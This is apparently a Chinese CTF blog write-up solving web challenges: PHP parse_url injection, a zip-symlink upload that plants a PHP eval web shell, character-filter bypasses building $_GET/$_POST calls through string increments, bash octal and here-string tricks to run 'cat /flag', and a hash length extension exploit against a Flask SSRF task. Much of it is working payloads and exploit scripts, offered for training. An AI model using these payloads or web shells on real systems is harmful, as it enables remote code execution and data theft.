题目讲解4

目录

PARSE_URL 

1

2

3

5

6

UNZIP

RCE极限挑战

自增

1

2

3

4

 5

极限命令执行

1

2

3

[De1CTF 2019]SSRF Me  BUU 


PARSE_URL 

parse_url(参数1,参数2)
 
参数1,必填 ,是一个完整的URL,如果不完整,函数会模糊补全。
参数2,非必填,是一个大写参数变量,直接获取结果集的某一部分。
 
参数2的可选值:
 
PHP_URL_SCHEME, 
PHP_URL_HOST,
PHP_URL_PORT, 
PHP_URL_USER, 
PHP_URL_PASS, 
PHP_URL_PATH, 
PHP_URL_QUERY ,
PHP_URL_FRAGMENT.


schema://user:pass@host:123/path?query#fragment


$url = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu#id";
 
$arr = parse_url($url);


 print_r($arr);
 
输出结果:

Array
(
    [scheme] => https
    [host] => www.baidu.com
    [path] => /s
    [query] => ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu
    [fragment] => id
)

1

$data = parse_url($_GET['u']);

eval($data['host']);

?u=http://system("ls");

?u=http://system("ls /");

 ?u=http://system("cd ..;cd ..;cd ..;tac flag_is_here.txt");

2

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

 include 使用文件包含

在host和path的位置构造

 data://text/plain;base64,<?php phpinfo();?>

http://data://text/plain;base64,<?php phpinfo();?>

这里的命令需要base64进行加密

最终的payload:

ls

?u=http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=

cat

?u=http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL19mMWFnXzFzX2gzcmUudHh0Iik7Pz4=

如果不能执行命令,将payload进行url编码

3

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

和上一关大同小异,只是位置不同

?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=

$data = parse_url($_GET['u']);

system($data['host']);
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re/1

5

extract(parse_url($_GET['u']));
include $$$$$$host;

PHP extract() 函数

<?php
$u = "user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==";
$data = parse_url($u);
extract(parse_url($u));
echo "\n";
print_r($data);
echo $scheme."\n";
echo $host."\n";
echo $user."\n";
echo $pass."\n";
echo $query."\n";
echo $fragment."\n";

echo $$$$$$host;

//$host ->  scheme
//$$host = schme -> user
//$$$host = user -> pass
//$$$$host = pass -> query
//$$$$$host = query -> fragment
//$$$$$$host = fragment -> 最终命令

在fragment处写命令,同样base64加密

<?php system("ls /"); ?>

<?php system("tac /_f1ag_1s_h3ree"); ?>

?u=user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8+

url编码

?u=user%3A%2F%2Fpass%3Aquery%40scheme%3A111%2Fpath%3Ffragment%23data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8%2B

6

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

file_put_contents();

上传一句话木马

由于?会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径

构造payload:

?u=http://<script language="php"> eval($_POST[1]);/var/www/html/1.php

UNZIP

打开一个文件上传,那我们就传传

发现不管传什么,都会返回以下代码 

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
}; 

 分析一下

使用 finfo_open 和 finfo_file 函数获取到上传文件的 MIME type,如果 MIME type 是 application/zip,就执行 unzip 命令将上传的 zip 文件解压到 /tmp 目录下。

文件上传,如果传上去的是zip压缩包,网站执行unzip命令解压。没有文件读取漏洞,不能直接传php。

考虑使用软连接,

什么是软连接呢,就是可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。

那么方向就很明显了,我们可以先上传一个带有软连接的压缩包,这个软连接指向网站的根目录,即/var/www/html,然后我们再上传一个带有马的文件的压缩包,就可以将这个带马文件压缩到网站的根目录下,我们也可以直接访问这个带马文件了

首先单独创造一个文件夹,然后利用下述命令创建软连接的压缩包:

关键命令:

ln -s /var/www/html link

zip --symlinks link.zip link     

然后删除link(防止与文件夹重名)这个文件,创建一个名为link的文件夹,然后在这个文件夹下写入带马的Php文件(因为之前我们软连接的文件叫做link,所以我们要让这个压缩在这个文件夹下面),然后先返回上一级目录,将这个带马的文件进行压缩:

# shell.php

<?php @eval($_POST['cmd']); ?>

先上传link.zip,然后再上传link1.zip

就可以直接访问shell.php进行利用了

RCE极限挑战

自增

在ctf中主要就是用于命令执行的无参执行

<?php
//这里定义$a='a';
$a = 'a';
$a++;
echo $a; //b
 
$b = 'b';
$b--;
echo $b; //b

我们定义一个a的变量,赋值为a,进行自增之后就是变成b了,这里是根据ascii,来自增的,但是这里我们要知道PHP的ascii是不能自减的,应该是。

a的ascii码是61,++就是相当于+1,然后就变成62,62对应的ascii码就是就是b

接下来,来分析一个基础的自增马,给大家先看看

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

首先自增主要用于无参执行,所以通常都是没什么东西可以用的,通常就是上面这些。

接下给大家分析一下, 我们都知道在PHP当中我们定义一个数组的时候,直接用echo或printf之类返回的时候他就会输出Array,只有使用var_dump()的时候才是输出数组的内容。

 
但是这里我们要知道他返回,但是这只是他的返回值,我们还不能使用,因为他现在还不是字符串,我们要使用英语的句号,来进行拼接,这样他就是字符串了,且赋值给了变量_,这样我们才能使用它,当然并不一定是[].[],才行,我们可以拼接很多东西都可以,例如这里就可以拼接,[]._  也是可以的

 
然后下面我们要用索引来取A了,当然取其他的也是可以的,$_['']和$_[0]是一样的,使用$_[_]也是一样的

然后在这前面我们还要了解一下这些东西。

PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF ( Infinite)

这里举个列:echo (1/0);  //就会输出INF

 
当然这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF

 
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); //就会输出NAN

 
要问他有什么用,这就要看上面的数组嘞,也是要取里面的字母。

1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

过滤了括号和点号

很简单

内联执行

code=?><?=`ls /`;    //反引号实际上是使用shell_exec()函数

利用反引号执行命令 echo输出

code=echo `ls /`;


2

<?php

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

我们跑一下 看看哪些字符没有被过滤

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}
有这些:! $ ' ( ) + , . / ; = [ ] _ 

可以考虑$_绕过!(自增绕过)

//这是这一题做出来的所用的
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
 
 
ctf_show=%24_%3D%5B%5D.%5B%5D%3B%24__%3D%27%27%3B%24_%3D%24_%5B%27%27%5D%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__%3D%24_.%24__%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24___%3D%27_%27%3B%24___.%3D%24__%3B%28%24%24___%5B_%5D%29%28%24%24___%5B__%5D%29%3B


//然后get传_=system&__=ls

3

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

还是老样子用脚本先看看有哪些没被禁。
$ ( ) + , . / 0 1 ; = [ ] _     //比上面多了不少东西

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN

$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
 
//执行这一串就可以了
ctf_show=%24_%3D%28%5B%5D.%5B%5D%29%5B0%5D%3B%24_%3D%28%24_/%24_.%24_%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B1%5D%29%3B&_=system&1=ls

<?php
$_=([].[])[0]; 
//这里就是上面的数组拼接,强制返回ArrayArray, 取第一个A
$_=($_/$_.$_)[0]; 
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++; 
//这里是进行了++的,所以$_等于P, $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里最后一个也是进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);

4

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

老样子先看过滤
$ ( ) + , . / 0 ; = [ ] _

就少了一个1,但是1感觉用到的也少

$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
 
//这样提交就可以了
ctf_show=%24_%3D%28%280/0%29.%5B%5D%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B0%5D%29%3B&_=system&0=ls

<?php
$_=((0/0).[])[0]; 
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

 5

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

先看看过滤
$ ( ) + , . / ; = [ ] _ 

直接使用_POST当做参数
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
第一个参数:_POST 第二个参数:_

ctfshow RCE极限挑战

极限命令执行

1

 <?php
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

没过滤a ?

通过通配符的方式

centos7的环境是可以直接使用/执行文件的

构造

/bin/base64 /flag

ctf_show=/???/?a??64%09/??a?

ctf_show=/?????a?

2

 <?php
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

里面是先经过check,然后才进去system中

check应该是过滤的东西,当我们测试时,它会返回?,可以写个脚本看看有哪些可以用

import requests
 
#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"
 
str= ""
for i in range(255):
    data = {'ctf_show':chr(i)}
    retext = requests.post(url,data=data).text
    if "??????" in retext:
        print(1)
    else:
        str += chr(i)
 
print(str)

用$‘\xxx’的方式执行命令 ,xxx是ascii字母的8进制值(octal),比如ls=$’\154\163’

但是不能解析带有参数的命令,比如cat flag这类
提示直接运行/getflag
payload:
ctf_show=$'\57\147\145\164\146\154\141\147'

3

 <?php
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

代码一样,那再跑跑

禁用了除了01以外的数字

这里需要理解bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

 

用$(())包起来,表示计算。 

所以在现有条件下,我们只要通过位运算$((1<<1))构造出2,就可以通过这种形式来构造任意数字了,比方说ls就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011)),但是我们又遇到一个新的问题,$'\154\163'这种形式可以,而直接运行$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'会报错

可以看出,bash是确实把$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'这一串字符串解析为$'\154\163'这个形式了,但是没有进一步解析,也就是经过bash的处理,这一段字符变成了$'\154\163'而没有变成ls

这里引入bash的一个语法<<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin。

所以只要把这个字符串作为$0(bash)命令的stdin,就可以执行命令了

比如:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' 

 

但是这里又遇到一个新的问题,这种命令形式不支持带参数的复杂命令,仅支持不带参数的命令,而这题开始没有/getflag

这里是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析,所以,我们可以通过两次here-strings的方法来解析复杂的带参数命令cat /flag

# 因为要避免出现空格,所以第一个\去掉了
a = r"143\141\164\40\57\146\154\141\147"  # cat /flag
b = a.split("\\")

str = ""
for i in b:
    if i != "\\":
        str += "\\\\$(($((1<<1))#" + format(int(i), 'b') + "))"
    else:
        str += "\\\\"

print("$0<<<$0\<\<\<$\\'" + str + "\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

 <?php
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

 老样子使用python跑一下正则

不能使用1了,但是可以通过简单的替换,把1换成${##}即可,其余与上一题一致。 

#是计算字符串长度,两个#中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以${##}是1

可以直接换,也可以没事写个脚本换 

# 第三题payload将取中间部分,就是$0<<<$0\<\<\<$\'后面的部分到\'
a = "\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))"
 
str = ""
for i in a:
    if i == "\\":
        i = "\\\\"
        str += i
    else:
        if i == "1":
           i = "${##}"
           str += i
        else:
            str += i
 
print("$0<<<$0\<\<\<$\\'"+str+"\\'")

ctf_show=$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

 <?php
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

还是使用脚本先跑一下正则

这一题其实只比上面的多了两个个知识点:

1、是${!xxx}的用法,举一个很简单的例子:

所以其实在这里,只要想办法构造一个变量,变量值是0,就可以很容易的拿到$0

通过定义一个__=$(())的方式将__变量的值设置为0,然后通过${!__}的形式拿到sh字符。两条命令间通过&&进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。

 2、是~操作,#被禁用,~是按位取反操作,我们可以通过$(())取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7

echo $((~$(())))           -1

echo $(($((~$(())))$((~$(( ))))))         -2

echo $((~$(($((~$(())))$((~$(())))))))    1

这样我们就得到了8进制命令拼接的所有数字了。

ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

import requests
url="http://45c1ba32-a100-4fdb-b75c-2adba376e107.challenge.ctf.show/"
cmd='cat /flag'

r = {}

x='$((~$(())))'#-1

for i in range(1,9):
        r[i]='$((~$(('+x
        for j in range(i):
                r[i]+=x
        r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+='\\\\'
        for i in oct(ord(c))[2:]:
                payload+=r[int(i)]

payload+='\\\''


r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

[De1CTF 2019]SSRF Me  BUU 

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False 
    app.run(host='0.0.0.0',port=80)

 代码流程比较清晰,先声明了一个Task类,绑定了若干个路由,声明了几个函数。我们访问/De1ta,并传参,服务端把我们传入的参数经过waf()函数处理后,构造一个Task的对象。

有三个路由分别是:

/geneSign

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 

 用于生产签名,通过调用getSign函数

/De1ta

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
    ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

获取cookie的action,sign和get的param值,param值要通过waf验证,调用task类,并调用Exec方法,最后以json形式返回结果。

/

@app.route('/') 
def index(): 
    return open("code.txt","r").read() 

获取首页源码

getSign函数

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 

将secert_key 、 param 和 action拼接在一起,返回MD5加密的结果

waf函数

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

找到以gopher或file开头的,结合上面的路由即是将这两个协议过滤掉了

再看Exec方法

def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

判断action里是否有scan,如果有的话则将scan读到的内容写进result.txt;如果read在action里,则将result.txt的内容读出来。

分析完代码我们发现getSign默认只生成action为scan的签名,我们可以利用将flag.txt的内容读到result.txt里,如果我们想要将result.txt的内容读出来则需要伪造一个action为read的签名

我们可以利用哈希长度扩展攻来构造签名

哈希长度拓展攻击

首先访问:/geneSign
获取签名

87ee5c8e1eb17706dced1bf79c5b9855

又因为:secert_key + ‘flag.txt’ 的长度为24

利用hashpump

哈希长度扩展攻击的简介以及HashPump安装使用方法

获取sign和action:

把\x替换为%

去/De1ta请求获取flag.txt文件

 python编写的exp:

import requests
url = 'http://3b5d8ace-3f97-4ba2-8f54-41af4545241f.node4.buuoj.cn:81/De1ta?param=flag.txt'
cookies = {
  'sign': '935cde2c323cd0ed9e7d70a04a284039',
  'action': "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"
  }


res = requests.get(url=url, cookies=cookies)
print(res.text)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值